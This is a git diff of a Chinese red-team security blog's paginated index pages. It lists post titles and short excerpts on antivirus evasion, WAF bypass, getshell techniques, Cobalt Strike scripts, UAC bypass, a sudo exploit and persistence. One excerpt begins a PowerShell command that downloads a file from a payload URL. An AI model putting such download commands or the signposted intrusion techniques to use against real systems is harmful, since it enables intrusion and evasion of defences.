## socat简介 +socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版,socat的官方网站:http://www.dest-unreach.org/socat/ 。 +So...
08 +Nov 2017

Windows下命令行下载文件总结

550 words, ~2 min read

## 0x00 Powershell +win2003、winXP不支持 +$client = new-object System.Net.WebClient +$client.DownloadFile('http://payloads...
21 +Aug 2017

Tomcat 开启 https支持

364 words, ~1 min read

本文介绍一下tomcat 开启 https支持
18 +Aug 2017

记一次某Cms的审计

1,048 words, ~4 min read

本文简述一下对一个采用了开源框架的cms的审计过程。
07 +Aug 2017

Nmap扩展开发

1,495 words, ~5 min read

Nmap进行漏洞扫描,编写扩展
31 +Jul 2017

端口转发工具小结

741 words, ~2 min read

介绍几款端口转发工具
08 +Jun 2017

光阴是酒,醉了来人

1,545 words, ~6 min read

这首诗,两年了,读起来还是那么的有味道。
05 +Jun 2017

Cknife Bypass WAF

1,346 words, ~5 min read

本文简述一下配置CKnife达到bypass软WAF的实例
02 +Jun 2017

Struts S2-045 Nmap扫描脚本

1,558 words, ~6 min read

本文介绍一下Nmap的扩展插件编写
23 +Mar 2017

phpMyAdmin新姿势getshell

1,483 words, ~5 min read

假设我们拥有MySQL的root权限,登录Web端的phpMyAdmin数据库管理控制台,你有多少种方法去getshell?
\ No newline at end of file diff --git a/page/13/index.html b/page/13/index.html index d8ccc8b..42e388f 100644 --- a/page/13/index.html +++ b/page/13/index.html @@ -1,13 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

01 -Jan 0001

About

8 words, ~0 min read

{{< figure class="avatar" src="/avatar.jpeg" alt="avatar">}} -* ID:倾旋 / Rvn0xsy -* [GitHub](https://github.com/Rvn0xsy/...
01 -Jan 0001

Projects

648 words, ~2 min read

{{< figure class="avatar" src="/avatar.jpeg" alt="avatar">}} -* [Cooolis-ms](https://github.com/Rvn0xsy/Cooolis-ms) | C...
01 -Jan 0001

友情链接

74 words, ~0 min read

- [晏子霜's blog](http://www.whsgwl.net/) -- [三米前有蕉皮's blog](https://blog.kali-team.cn/) -- [Key's blog](http://gh0st.cn/) --...
01 -Jan 0001

留言

33 words, ~0 min read

🙋🏻‍♂️这里是网站的 留言板页面 , 你可以直接在这里留下你想说的话~
01 -Jan 0001

赞助

23 words, ~0 min read

💖如果我的文章对你有帮助,可以请我喝一杯咖啡~ -![](https://images.payloads.online/sponsor.jpg)
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

13 +Mar 2017

渗透测试中的Bypass技巧(四)自动化注入

1,558 words, ~6 min read

声明:本文旨在技术研究,请勿用于违法用途,否则后果自负。
07 +Mar 2017

渗透测试中的Bypass技巧(三)自动化注入

1,546 words, ~6 min read

某些Web服务器的特性不一,导致WAF在判断时候无法完全工作。经常出现的情况大部分都是协议层与Web服务器之间WAF没有很好的处理请求,导致无法拦截很多生僻的攻击手法,那么我们先从GET、POST先说起。
06 +Mar 2017

渗透测试中的Bypass技巧(二)

1,290 words, ~5 min read

第二篇 应用层过WAF
05 +Mar 2017

渗透测试中的Bypass技巧(一)

1,512 words, ~6 min read

第一篇架构层绕过WAF
23 +Nov 2015

思科路由

44 words, ~0 min read

本文介绍一下思科设备的简单配置
20 +Nov 2015

华为MSTP协议

324 words, ~1 min read

本文记录一下华为MSTP协议配置
20 +Nov 2015

华为交换机MUX-VLAN

117 words, ~0 min read

本文记录一下华为交换机MUX-VLAN配置
20 +Nov 2015

华为交换机Telnet远程登录

35 words, ~0 min read

本文记录一下华为交换机Telnet远程登录的简单配置
20 +Nov 2015

华为交换机VLAN聚合实例

266 words, ~1 min read

本文记录一下华为交换机VLAN聚合实例配置
20 +Nov 2015

华为路由OSPF被动接口配置

92 words, ~0 min read

本文记录一下华为路由OSPF被动接口配置
\ No newline at end of file diff --git a/page/14/index.html b/page/14/index.html new file mode 100644 index 0000000..9303d94 --- /dev/null +++ b/page/14/index.html @@ -0,0 +1,13 @@ +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

01 +Jan 0001

About

8 words, ~0 min read

{{< figure class="avatar" src="/avatar.jpeg" alt="avatar">}} +* ID:倾旋 / Rvn0xsy +* [GitHub](https://github.com/Rvn0xsy/...
01 +Jan 0001

Projects

648 words, ~2 min read

{{< figure class="avatar" src="/avatar.jpeg" alt="avatar">}} +* [Cooolis-ms](https://github.com/Rvn0xsy/Cooolis-ms) | C...
01 +Jan 0001

友情链接

74 words, ~0 min read

- [晏子霜's blog](http://www.whsgwl.net/) +- [三米前有蕉皮's blog](https://blog.kali-team.cn/) +- [Key's blog](http://gh0st.cn/) +-...
01 +Jan 0001

留言

33 words, ~0 min read

🙋🏻‍♂️这里是网站的 留言板页面 , 你可以直接在这里留下你想说的话~
01 +Jan 0001

赞助

23 words, ~0 min read

💖如果我的文章对你有帮助,可以请我喝一杯咖啡~ +![](https://images.payloads.online/sponsor.jpg)
\ No newline at end of file diff --git a/page/2/index.html b/page/2/index.html index b559f45..e9510e5 100644 --- a/page/2/index.html +++ b/page/2/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

13 -Sep 2021

BeingDebugged反调试技巧

1,106 words, ~4 min read

了解Windows PEB结构,学习Shellcode编写流程,使用汇编语言进行反调试检测
03 -Sep 2021

MASM中VirtualProtect函数的分析

1,616 words, ~6 min read

最近在巩固汇编知识,写汇编的过程中遇到一个比较奇怪的点,然后开始了一段分析...
30 -Aug 2021

博客更新了

59 words, ~0 min read

博客更新了主题,后端从Jekyll迁移到了Hugo...
11 -Aug 2021

Windows活动目录中的LDAP

2,081 words, ~8 min read

如今互联网上关于LDAP介绍的文章已经很多了,并且LDAP的发展历史相对来说也是较长的,它被应用于Windows的活动目录中,这让我们不得不去学习LDAP的一些基本概念。本文不是一个科普文章,主旨在于从渗透测试的角度出发,看看从LDAP中能收集哪些信息。
20 -Jul 2021

Kubernetes(K8s)横向移动办法

2,008 words, ~8 min read

Kubernetes (通常称为 K8s) 是来自 Google 云平台的开源容器集群管理系统,用于自动部署、扩展和管理容器化(containerized)应用程序。本文介绍获取了其中某个节点的宿主机权限,如何横向移动到Master节点,从而获取整个集群的权限。
16 -Feb 2021

红队技巧:基于反向代理的水坑攻击

2,803 words, ~11 min read

在红队行动中,一般使用邮件钓鱼会携带诱饵附件,但常被邮件网关拦截,如果想要去收集更多的有效信息,可以在邮件中埋入水坑链接。而埋入的水坑的制作,对于红队来说又有些繁琐,因此本文记录一下我实现自动化三种解决方案。
09 -Feb 2021

CVE-2021-3156 - Exploit修改

855 words, ~3 min read

Qualys研究团队在sudo中发现了一个堆溢出漏洞,该漏洞在类似Unix的主要操作系统上都可以使用。通过利用此漏洞,任何没有特权的用户都可以使用默认的sudo配置在易受攻击的主机上获得root特权。
08 -Feb 2021

静态恶意代码逃逸(第十课)

518 words, ~2 min read

本节课,使用UUID的方式存储Shellcode,再介绍一些CALL BACK函数的特性来加载Shellcode。
31 -Jan 2021

Windows权限控制相关的防御与攻击技术

5,261 words, ~21 min read

近年来终端安全检测与响应的产品发展迅速,我们不得不意识到,安全是在一个循环中发展的,从人们意识到安全开始,大部分了解到层面都是病毒、木马,然后接着是浏览器相关的Web安全领域,最后又开始回到终端。这个议题我们通过了解Windows操作系统下的访问控制技术,站在攻防的不同角度去进行对抗,提升自身的知识储备,个人觉得这些知识适用于许多使用Windows操作系统的用户。
29 -Nov 2020

静态恶意代码逃逸(第九课)

1,156 words, ~4 min read

本节课,使用HeapCreate API来关闭DEP保护,获取在堆上的代码执行权限,从而绕过对VirtualAlloc的检测。
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

23 +Oct 2022

使用RPC Filter技术防御内网RPC横向攻击

2,269 words, ~9 min read

本文介绍了RPC Filter技术的概念与使用,并演示了如何通过RPC Filter阻断基于计划任务的横向攻击,并给出了大量RPC Filter的参考,能够有效的应对impacket所提供的内网横向技术的攻击.....
19 +Sep 2022

我的三年红队生涯总结

7,149 words, ~28 min read

很久没有写一些关于工作的感悟了,近期想了一些事情,以此写一篇关于我三年的红队生涯总结。
03 +Sep 2022

分享一下最近使用Arch Linux的感受

1,216 words, ~4 min read

Arch Linux是一款基于x86-64架构的Linux发行版。系统主要由自由和开源软件组成,支持社区参与。系统设计以KISS原则(保持简单和愚蠢)为总体指导原则,注重代码正确、优雅和极简主义,期待用户能够愿意去理解系统的操作。Arch Linux系统安装、删除和更新软件的软件包管理器叫做pacman....
17 +Aug 2022

x64dbg中的白加黑利用

1,328 words, ~5 min read

在木马样本与杀毒软件的对抗中,再隐蔽的木马在被发现的那一刻,它的这一生就结束了。杀毒软件厂商通过SHA1/2、MD5等算法取得样本的唯一值来构建云端的特征库,当下一次攻击发生时,将会通过特征库进行比对,因此成本对抗不言而喻,红队的木马需要重新修改、编译,大大增加了对抗的时间、精力,这就是威胁情报的一种价值。反观有些软件确实会需要开发一些敏感行为的功能,如修改注册表、屏幕录像截图但这些是用户知情且授权的行为,这时杀毒软件再进行拦截的话,将大大降低软件使用的体验,所以出现了软件签名技术可以解决这类问题,当然软件签名技术不仅仅是为了只解决这一个问题而出现的....
11 +Aug 2022

通过动态链接库绕过反病毒软件Hook - Break JVM

4,042 words, ~16 min read

通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截.....
04 +Mar 2022

通过Windows RPC批量寻找“出网”机器

1,463 words, ~5 min read

在获取内网通用口令的情景下,如何从大量的主机中寻找可以访问互联网的据点作为守控的高地?
01 +Mar 2022

利用NPM仓库充当文件托管服务

784 words, ~3 min read

NPM是随同NodeJS一起安装的包管理工具,NPM可以通过NPM的源下载安装源上发布的JS代码,本文将使用NPM进行托管文件到NPM源,方便文件进行传输、下载。
16 +Feb 2022

静态恶意代码逃逸(第十一课)- 汇编语言编写Shellcode加载器

3,181 words, ~12 min read

本节课详细的介绍Shellcode编写的原理、过程,以及使用NASM完成Shellcode加载器的编写,中间穿插了Windows PEB相关的基础知识。
01 +Dec 2021

某系统 - Java Filter内部反射功能完成远程代码执行

2,009 words, ~8 min read

在代码审计的过程中,梳理了一个某系统的漏洞,自己实现了一个大致的漏洞环境,记录一下过程。
23 +Nov 2021

MacOS任务计划

687 words, ~2 min read

使用launchctl注册喝水任务
\ No newline at end of file diff --git a/page/3/index.html b/page/3/index.html index b3610eb..3b2f392 100644 --- a/page/3/index.html +++ b/page/3/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

29 -Nov 2020

静态恶意代码逃逸(第八课)

533 words, ~2 min read

本节课,需要使用C++的特性来解决特殊字符串被标记的情况
13 -Nov 2020

Linux透明代理在红队渗透中的应用

3,112 words, ~12 min read

本篇文章,主要是记录工作中想让外网打点和内网渗透的场景进行透明代理的体验。
01 -Nov 2020

Web正向代理的思考

1,146 words, ~4 min read

本篇文章,主要是记录工作中遇到一个在不出网的机器上,构建正向代理尝试出的一个其他办法。
23 -Oct 2020

静态恶意代码逃逸(第七课)

979 words, ~3 min read

本节课,我们需要引入导入表的概念,并且通过代码的小技巧来隐藏导入表,减少文件特征
24 -Aug 2020

这是一个充满挑战的好时代

3,418 words, ~13 min read

近期发生了很多的事儿,很多时候在晚上会产生一些感触,但是都没有把它们给记录下来,现在点来一支烟,慢慢回忆……
16 -Jul 2020

通过OXID解析器获取Windows远程主机上网卡地址

927 words, ~3 min read

本文主要参考通过OXID解析器获取Windows远程主机上网卡地址的拓展...
28 -Jun 2020

如何实现一个Atexec

1,074 words, ~4 min read

本文主要从程序编写的角度实现atexec...
02 -Apr 2020

如何实现一个Psexec

3,800 words, ~15 min read

本文不涉及Pass The Hash的攻击手段,因为使用C/C++实现起来很麻烦,因此本文只围绕Psexec这款工具的实现原理、防御、其他思路展开...
21 -Mar 2020

SSRF漏洞配合Flask的巧妙利用 - 内网漫游

912 words, ~3 min read

SSRF(Server-side Request Forge, 服务端请求伪造)。由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务...
21 -Mar 2020

Windows特权提升漏洞-符号

5,195 words, ~20 min read

Windows 特权提升相信大家已经不陌生了,常见的场景如:NETWORK SERVICE → SYSTEM但从漏洞原理去了解,会发现利用漏洞利用本就是一个“使程序逻辑不按照正常方向运转”的过程...
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

13 +Sep 2021

BeingDebugged反调试技巧

1,106 words, ~4 min read

了解Windows PEB结构,学习Shellcode编写流程,使用汇编语言进行反调试检测
03 +Sep 2021

MASM中VirtualProtect函数的分析

1,616 words, ~6 min read

最近在巩固汇编知识,写汇编的过程中遇到一个比较奇怪的点,然后开始了一段分析...
30 +Aug 2021

博客更新了

59 words, ~0 min read

博客更新了主题,后端从Jekyll迁移到了Hugo...
11 +Aug 2021

Windows活动目录中的LDAP

2,081 words, ~8 min read

如今互联网上关于LDAP介绍的文章已经很多了,并且LDAP的发展历史相对来说也是较长的,它被应用于Windows的活动目录中,这让我们不得不去学习LDAP的一些基本概念。本文不是一个科普文章,主旨在于从渗透测试的角度出发,看看从LDAP中能收集哪些信息。
20 +Jul 2021

Kubernetes(K8s)横向移动办法

2,008 words, ~8 min read

Kubernetes (通常称为 K8s) 是来自 Google 云平台的开源容器集群管理系统,用于自动部署、扩展和管理容器化(containerized)应用程序。本文介绍获取了其中某个节点的宿主机权限,如何横向移动到Master节点,从而获取整个集群的权限。
16 +Feb 2021

红队技巧:基于反向代理的水坑攻击

2,803 words, ~11 min read

在红队行动中,一般使用邮件钓鱼会携带诱饵附件,但常被邮件网关拦截,如果想要去收集更多的有效信息,可以在邮件中埋入水坑链接。而埋入的水坑的制作,对于红队来说又有些繁琐,因此本文记录一下我实现自动化三种解决方案。
09 +Feb 2021

CVE-2021-3156 - Exploit修改

855 words, ~3 min read

Qualys研究团队在sudo中发现了一个堆溢出漏洞,该漏洞在类似Unix的主要操作系统上都可以使用。通过利用此漏洞,任何没有特权的用户都可以使用默认的sudo配置在易受攻击的主机上获得root特权。
08 +Feb 2021

静态恶意代码逃逸(第十课)

518 words, ~2 min read

本节课,使用UUID的方式存储Shellcode,再介绍一些CALL BACK函数的特性来加载Shellcode。
31 +Jan 2021

Windows权限控制相关的防御与攻击技术

5,261 words, ~21 min read

近年来终端安全检测与响应的产品发展迅速,我们不得不意识到,安全是在一个循环中发展的,从人们意识到安全开始,大部分了解到层面都是病毒、木马,然后接着是浏览器相关的Web安全领域,最后又开始回到终端。这个议题我们通过了解Windows操作系统下的访问控制技术,站在攻防的不同角度去进行对抗,提升自身的知识储备,个人觉得这些知识适用于许多使用Windows操作系统的用户。
29 +Nov 2020

静态恶意代码逃逸(第九课)

1,156 words, ~4 min read

本节课,使用HeapCreate API来关闭DEP保护,获取在堆上的代码执行权限,从而绕过对VirtualAlloc的检测。
\ No newline at end of file diff --git a/page/4/index.html b/page/4/index.html index f1f81d8..221fd95 100644 --- a/page/4/index.html +++ b/page/4/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

02 -Mar 2020

Cobalt Strike Aggressor Script (第一课)

1,001 words, ~4 min read

在后渗透阶段,目前较为流行的C2平台就属Cobalt Strike做的比较优秀了;目前国内的论坛、网站上已经放出很多版本,最新的为Cobalt Strike 3.14,目前最新版本4.0已不再有试用版。
02 -Mar 2020

Cobalt Strike Aggressor Script (第二课)

382 words, ~1 min read

本节课带大家做一个Say-Hello的脚本来熟悉菜单的构建以及对话框的使用
02 -Mar 2020

SQL Server注入 - STUFF与XML Path

1,186 words, ~4 min read

某次**,发现一处SQL Server注入点
02 -Mar 2020

红队分享-如何挖掘Windows Bypass UAC(第一课)

1,466 words, ~5 min read

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。
02 -Mar 2020

通过反射DLL注入来构建后渗透模块(第一课)

820 words, ~3 min read

Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言....
05 -Feb 2020

红队行动之鱼叉攻击-研究分享

5,023 words, ~20 min read

这个议题是我在公司年会上分享的,但正逢招人浪潮袭来,抱着和大家交流技术的想法的同时,想寻觅几个志同道合的同学来一起做研究!议题我将会总结成文字,为大家分享我的学习成果。
25 -Jan 2020

2019年度总结随想

977 words, ~3 min read

在2019年我有太多变化与成长,记录一下几个较大的动态与思考沉淀。
02 -Jan 2020

静态恶意代码逃逸(第六课)

1,212 words, ~4 min read

本节课,我们来代入一个新的技术,这个技术与Windows PE格式的基础知识关联性较强,目的是实现全球AV查杀0报警的效果。
01 -Jan 2020

Linux权限维持之LD_PRELOAD

1,082 words, ~4 min read

通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。
01 -Jan 2020

Linux权限维持之进程注入

703 words, ~2 min read

通过进程注入技术,能够使得动态链接库被加载到一个正在运行的进程,因此较为隐蔽。
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

29 +Nov 2020

静态恶意代码逃逸(第八课)

533 words, ~2 min read

本节课,需要使用C++的特性来解决特殊字符串被标记的情况
13 +Nov 2020

Linux透明代理在红队渗透中的应用

3,112 words, ~12 min read

本篇文章,主要是记录工作中想让外网打点和内网渗透的场景进行透明代理的体验。
01 +Nov 2020

Web正向代理的思考

1,146 words, ~4 min read

本篇文章,主要是记录工作中遇到一个在不出网的机器上,构建正向代理尝试出的一个其他办法。
23 +Oct 2020

静态恶意代码逃逸(第七课)

979 words, ~3 min read

本节课,我们需要引入导入表的概念,并且通过代码的小技巧来隐藏导入表,减少文件特征
24 +Aug 2020

这是一个充满挑战的好时代

3,418 words, ~13 min read

近期发生了很多的事儿,很多时候在晚上会产生一些感触,但是都没有把它们给记录下来,现在点来一支烟,慢慢回忆……
16 +Jul 2020

通过OXID解析器获取Windows远程主机上网卡地址

927 words, ~3 min read

本文主要参考通过OXID解析器获取Windows远程主机上网卡地址的拓展...
28 +Jun 2020

如何实现一个Atexec

1,074 words, ~4 min read

本文主要从程序编写的角度实现atexec...
02 +Apr 2020

如何实现一个Psexec

3,800 words, ~15 min read

本文不涉及Pass The Hash的攻击手段,因为使用C/C++实现起来很麻烦,因此本文只围绕Psexec这款工具的实现原理、防御、其他思路展开...
21 +Mar 2020

SSRF漏洞配合Flask的巧妙利用 - 内网漫游

912 words, ~3 min read

SSRF(Server-side Request Forge, 服务端请求伪造)。由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务...
21 +Mar 2020

Windows特权提升漏洞-符号

5,195 words, ~20 min read

Windows 特权提升相信大家已经不陌生了,常见的场景如:NETWORK SERVICE → SYSTEM但从漏洞原理去了解,会发现利用漏洞利用本就是一个“使程序逻辑不按照正常方向运转”的过程...
\ No newline at end of file diff --git a/page/5/index.html b/page/5/index.html index 5b13e15..a16fa04 100644 --- a/page/5/index.html +++ b/page/5/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

01 -Jan 2020

SQL Server DBA WriteFile

1,075 words, ~4 min read

通常情况下,遇到SQL Server注入点,我会比较关注是否是DBA权限,如果是,那么就可能拿到执行命令的权限,进而反弹到C2上,方便后续的后渗透工作。
10 -Nov 2019

静态恶意代码逃逸(第一课)

624 words, ~2 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 -Nov 2019

静态恶意代码逃逸(第三课)

314 words, ~1 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 -Nov 2019

静态恶意代码逃逸(第二课)

544 words, ~2 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 -Nov 2019

静态恶意代码逃逸(第五课)

134 words, ~0 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 -Nov 2019

静态恶意代码逃逸(第四课)

409 words, ~1 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
02 -Oct 2019

DllMain与rundll32详解

1,405 words, ~5 min read

深入了解一下DllMain
09 -May 2019

Swaks伪造邮件

873 words, ~3 min read

绕过一些邮件服务器的简单检测
24 -Apr 2019

Nmap扩展开发(一)

1,897 words, ~7 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
24 -Apr 2019

Nmap扩展开发(三)

1,291 words, ~5 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

02 +Mar 2020

Cobalt Strike Aggressor Script (第一课)

1,001 words, ~4 min read

在后渗透阶段,目前较为流行的C2平台就属Cobalt Strike做的比较优秀了;目前国内的论坛、网站上已经放出很多版本,最新的为Cobalt Strike 3.14,目前最新版本4.0已不再有试用版。
02 +Mar 2020

Cobalt Strike Aggressor Script (第二课)

382 words, ~1 min read

本节课带大家做一个Say-Hello的脚本来熟悉菜单的构建以及对话框的使用
02 +Mar 2020

SQL Server注入 - STUFF与XML Path

1,186 words, ~4 min read

某次**,发现一处SQL Server注入点
02 +Mar 2020

红队分享-如何挖掘Windows Bypass UAC(第一课)

1,466 words, ~5 min read

用户帐户控制(User Account Control,简写作UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。
02 +Mar 2020

通过反射DLL注入来构建后渗透模块(第一课)

820 words, ~3 min read

Aggressor Script是Cobalt Strike 3.0版本以上的一个内置脚本语言....
05 +Feb 2020

红队行动之鱼叉攻击-研究分享

5,023 words, ~20 min read

这个议题是我在公司年会上分享的,但正逢招人浪潮袭来,抱着和大家交流技术的想法的同时,想寻觅几个志同道合的同学来一起做研究!议题我将会总结成文字,为大家分享我的学习成果。
25 +Jan 2020

2019年度总结随想

977 words, ~3 min read

在2019年我有太多变化与成长,记录一下几个较大的动态与思考沉淀。
02 +Jan 2020

静态恶意代码逃逸(第六课)

1,212 words, ~4 min read

本节课,我们来代入一个新的技术,这个技术与Windows PE格式的基础知识关联性较强,目的是实现全球AV查杀0报警的效果。
01 +Jan 2020

Linux权限维持之LD_PRELOAD

1,082 words, ~4 min read

通过LD_PRELOAD环境变量,能够轻易的加载一个动态链接库。通过这个动态库劫持系统API函数,每次调用都会执行植入的代码。
01 +Jan 2020

Linux权限维持之进程注入

703 words, ~2 min read

通过进程注入技术,能够使得动态链接库被加载到一个正在运行的进程,因此较为隐蔽。
\ No newline at end of file diff --git a/page/6/index.html b/page/6/index.html index 15fd2db..a315f7c 100644 --- a/page/6/index.html +++ b/page/6/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

24 -Apr 2019

Nmap扩展开发(二)

774 words, ~3 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
24 -Apr 2019

Nmap扩展开发(四)

4,480 words, ~17 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
13 -Apr 2019

最快的方式搭建域环境

1,730 words, ~6 min read

网上的文章都太复杂了,我就写一个简单、详细的,刚好虚拟机都删了。
08 -Apr 2019

又见四月

242 words, ~0 min read

又见四月.....
02 -Apr 2019

BaseRequestHandler 传参问题

331 words, ~1 min read

解决一个Python socketserver BaseRequestHandler传参问题
02 -Apr 2019

阿里云Access Token问题 - 项目收获记录

1,904 words, ~7 min read

项目中准备开展内网渗透的时候,信息搜集给我带来的收获……
30 -Mar 2019

OWASP - 吉林沙龙

145 words, ~0 min read

OWASP - 吉林沙龙
30 -Mar 2019

OWASP - 吉林沙龙《后渗透与邮件安全》 议题解读

3,402 words, ~13 min read

写一篇我在OWASP吉林沙龙分享的 后渗透与邮件安全 议题解读
14 -Mar 2019

MemoryModule-实现原理

1,533 words, ~6 min read

MemoryModule-实现原理
23 -Feb 2019

驱动人生供应链木马攻击2019.1.30变种木马分析

2,276 words, ~9 min read

360安全大脑监测到通过”驱动人生”供应链攻击传播的挖矿木马在1月30日下午4时左右再次更新……
\ No newline at end of file +倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

01 +Jan 2020

SQL Server DBA WriteFile

1,075 words, ~4 min read

通常情况下,遇到SQL Server注入点,我会比较关注是否是DBA权限,如果是,那么就可能拿到执行命令的权限,进而反弹到C2上,方便后续的后渗透工作。
10 +Nov 2019

静态恶意代码逃逸(第一课)

624 words, ~2 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 +Nov 2019

静态恶意代码逃逸(第三课)

314 words, ~1 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 +Nov 2019

静态恶意代码逃逸(第二课)

544 words, ~2 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 +Nov 2019

静态恶意代码逃逸(第五课)

134 words, ~0 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
10 +Nov 2019

静态恶意代码逃逸(第四课)

409 words, ~1 min read

来来回回就会这么一点东西,不想一直停留在一个点上了,准备总结一下,往深的走。
02 +Oct 2019

DllMain与rundll32详解

1,405 words, ~5 min read

深入了解一下DllMain
09 +May 2019

Swaks伪造邮件

873 words, ~3 min read

绕过一些邮件服务器的简单检测
24 +Apr 2019

Nmap扩展开发(一)

1,897 words, ~7 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
24 +Apr 2019

Nmap扩展开发(三)

1,291 words, ~5 min read

本来是想写成一本书的,但是可能断断续续没有很好的产出,我只能以文章的形式分享出来了,希望我的研究成果能够给大家带来便利。—— 作者:倾旋
\ No newline at end of file diff --git a/page/7/index.html b/page/7/index.html index 2cf9c9e..ecc2f2a 100644 --- a/page/7/index.html +++ b/page/7/index.html @@ -1,11 +1,11 @@ -倾旋的博客 - 现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

31 -Jan 2019

BMP位图隐写

1,047 words, ~4 min read

快过年了,最近学不进去东西,总结一下之前的基础知识,顺便结合起来。
26 -Jan 2019

Visual Studio 调试DLL

42 words, ~0 min read

